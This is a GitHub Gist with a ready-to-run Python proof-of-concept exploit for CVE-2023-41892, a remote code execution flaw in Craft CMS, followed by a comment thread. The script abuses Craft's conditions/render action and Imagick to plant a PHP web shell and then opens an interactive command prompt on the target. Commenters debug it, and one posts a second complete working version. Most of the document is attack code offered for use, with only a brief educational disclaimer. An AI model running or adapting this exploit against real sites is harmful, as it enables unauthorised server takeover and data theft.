Skip to content

Instantly share code, notes, and snippets.

@to016
Last active November 27, 2024 18:01
Show Gist options
  • Save to016/b796ca3275fa11b5ab9594b1522f7226 to your computer and use it in GitHub Desktop.
Save to016/b796ca3275fa11b5ab9594b1522f7226 to your computer and use it in GitHub Desktop.
CVE-2023-41892 (Craft CMS Remote Code Execution) - POC

This Gist provides a Proof-of-Concept (POC) for CVE-2023-41892, a Craft CMS vulnerability that allows Remote Code Execution (RCE).

Overview

CVE-2023-41892 is a security vulnerability discovered in Craft CMS, a popular content management system. Craft CMS versions affected by this vulnerability allow attackers to execute arbitrary code remotely, potentially compromising the security and integrity of the application.

POC

This POC is depending on writing webshell, so finding a suitable folder with writable permission is necessary.

import requests
import re
import sys

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot):

    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"msl:/etc/passwd"}}}'
    }

    files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/cpresources/shell.php" />
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    response = requests.post(url, headers=headers, data=data, files=files)

def getTmpUploadDirAndDocumentRoot():
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data)

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
   
    match1 = re.search(pattern1, response.text, re.DOTALL)
    match2 = re.search(pattern2, response.text, re.DOTALL)
    return match1.group(1), match2.group(1)

def trigerImagick(tmpDir):
    
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }
    response = requests.post(url, headers=headers, data=data)    

def shell(cmd):
    response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
        extracted_text = match.group(1).strip()
        print(extracted_text)
    else:
        return None
    return extracted_text

if __name__ == "__main__":
    if(len(sys.argv) != 2):
        print("Usage: python CVE-2023-41892.py <url>")
        exit()
    else:
        url = sys.argv[1]
        print("[-] Get temporary folder and document root ...")
        upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
        tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
        print("[-] Write payload to temporary file ...")
        try:
            writePayloadToTempFile(documentRoot)
        except requests.exceptions.ConnectionError as e:
            print("[-] Crash the php process and write temp file successfully")

        print("[-] Trigger imagick to write shell ...")
        try:
            trigerImagick(tmpDir)
        except:
            pass

        print("[-] Done, enjoy the shell")
        while True:
            cmd = input("$ ")
            shell(cmd)

Environment's from ACTF 2023

image

Result

image

Additional Resources

For more information and insights into this CVE, I would like to extend my thanks to Calif, who provided a reference to their blog post covering this topic:

Disclaimer

This Gist is intended for educational purposes only and should not be used for any malicious activities. Always ensure you have the necessary permissions and follow ethical guidelines when testing or researching security vulnerabilities.

For any questions or clarifications, please feel free to reach out. Stay safe and secure!

@to016
Copy link
Author

to016 commented Oct 29, 2023

@Programmer-Red @Soya-xy I edited the POC, good luck for the CTF 🙄

@Soya-xy
Copy link

Soya-xy commented Oct 29, 2023

Thanks。:)

@N00BIER
Copy link

N00BIER commented Nov 30, 2023

can anyone explain what is the role of "files":"msl:/etc/passwd" in writePayloadToTempFile?

if I remove "/etc/passwd" leaving just "files":"msl:", the script would work as expected, so what is the point in /etc/passwd?

@to016
Copy link
Author

to016 commented Nov 30, 2023

can anyone explain what is the role of "files":"msl:/etc/passwd" in writePayloadToTempFile?

if I remove "/etc/passwd" leaving just "files":"msl:", the script would work as expected, so what is the point in /etc/passwd?

The role of it is to make the php processing the http file upload request to crash, so the upload file will be saved into temp folder

@N00BIER
Copy link

N00BIER commented Nov 30, 2023

can anyone explain what is the role of "files":"msl:/etc/passwd" in writePayloadToTempFile?
if I remove "/etc/passwd" leaving just "files":"msl:", the script would work as expected, so what is the point in /etc/passwd?

The role of it is to make the php processing the http file upload request to crash, so the upload file will be saved into temp folder

Ok, thanks. Then my question is why does it work with /etc/passwd omitted in the request?

The way I see it is that PHP simply has no legit path to save file, so the file gets saved to tmp.

@N00BIER
Copy link

N00BIER commented Dec 4, 2023

anyone tried to repro with craft running on windows? for some reason php* files do not get stored in tmp... Any changes to be made to the script so it would work? thank you

@m3m0o
Copy link

m3m0o commented Dec 12, 2023

Thanks man! I had to make a small change to the file being sent in the writePayloadToTempFile function. The tag does not have a / closing it. After adding, the POC worked perfectly.

files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/cpresources/shell.php" />
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
}

I don't know if this problem only occurs in my environment. I'll leave it for you to check.

@to016
Copy link
Author

to016 commented Dec 12, 2023

To be honest, I was a bit rusty when I released the POC and didn't check it carefully. There were some errors in the code (which make the poc not work on orther environment), but it should be alright now (hopefully 🥹). Truly sorry, and thanks for your help to make it complete, guys.

@boredcoder411
Copy link

This dosent work rn, I'm having the same problem as Soya-xy

@to016
Copy link
Author

to016 commented Jan 13, 2024

This dosent work rn, I'm having the same problem as Soya-xy

Can you provide detailed information? I have already fixed the issue for Soya-xy.

@boredcoder411
Copy link

Nvm, I just used a fork of this

@naberius616
Copy link

naberius616 commented Jan 15, 2024

Yeah, works cleean, thxxx <3

for me I just delete the proxies and boom

image

@Gfquetnvl32
Copy link

image

not works

@Hassen-Chtara
Copy link

Thank you man. It didn't quite work for me right away, so I made some adjustments to the script.

If the POC didn't work for you either, give these modifications a try.

import requests
import re
import sys

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36"
}

def writePayloadToTempFile(documentRoot,tmpDir):

    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": '{"name":"configObject","as ":{"class":"Imagick", "__construct()":{"files":"vid:msl:' + tmpDir + r'/php*"}}}'
    }

    files = {
        "image1": ("pwn1.msl", """<?xml version="1.0" encoding="UTF-8"?>
        <image>
        <read filename="caption:&lt;?php @system(@$_REQUEST['cmd']); ?&gt;"/>
        <write filename="info:DOCUMENTROOT/cpresources/shell.php" />
        </image>""".replace("DOCUMENTROOT", documentRoot), "text/plain")
    }

    requests.post(url, headers=headers, data=data, files=files)

def getTmpUploadDirAndDocumentRoot():
    data = {
        "action": "conditions/render",
        "configObject[class]": "craft\elements\conditions\ElementCondition",
        "config": r'{"name":"configObject","as ":{"class":"\\GuzzleHttp\\Psr7\\FnStream", "__construct()":{"methods":{"close":"phpinfo"}}}}'
    }

    response = requests.post(url, headers=headers, data=data )

    pattern1 = r'<tr><td class="e">upload_tmp_dir<\/td><td class="v">(.*?)<\/td><td class="v">(.*?)<\/td><\/tr>'
    pattern2 = r'<tr><td class="e">\$_SERVER\[\'DOCUMENT_ROOT\'\]<\/td><td class="v">([^<]+)<\/td><\/tr>'
   
    match1 = re.search(pattern1, response.text, re.DOTALL)
    match2 = re.search(pattern2, response.text, re.DOTALL)
    return match1.group(1), match2.group(1)
    

def shell(cmd):
    response = requests.get(url + "/cpresources/shell.php", params={"cmd": cmd})
    match = re.search(r'caption:(.*?)CAPTION', response.text, re.DOTALL)

    if match:
        extracted_text = match.group(1).strip()
        print(extracted_text)
    else:
        return None
    return extracted_text

if __name__ == "__main__":
    if(len(sys.argv) != 2):
        print("Usage: python CVE-2023-41892.py <url>")
        exit()
    else:
        url = sys.argv[1]
        print("[-] Get temporary folder and document root ...")
        upload_tmp_dir, documentRoot = getTmpUploadDirAndDocumentRoot()
        tmpDir = "/tmp" if "no value" in upload_tmp_dir else upload_tmp_dir
        print("[-] Write payload to temporary file ...")
        try:
            writePayloadToTempFile(documentRoot,tmpDir)
            writePayloadToTempFile(documentRoot,tmpDir)
            writePayloadToTempFile(documentRoot,tmpDir)
        except requests.exceptions.ConnectionError as e:
            print("[-] Crash the php process and write temp file successfully")

        print("[-] Done, enjoy the shell")
        while True:
            cmd = input("$ ")
            shell(cmd)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment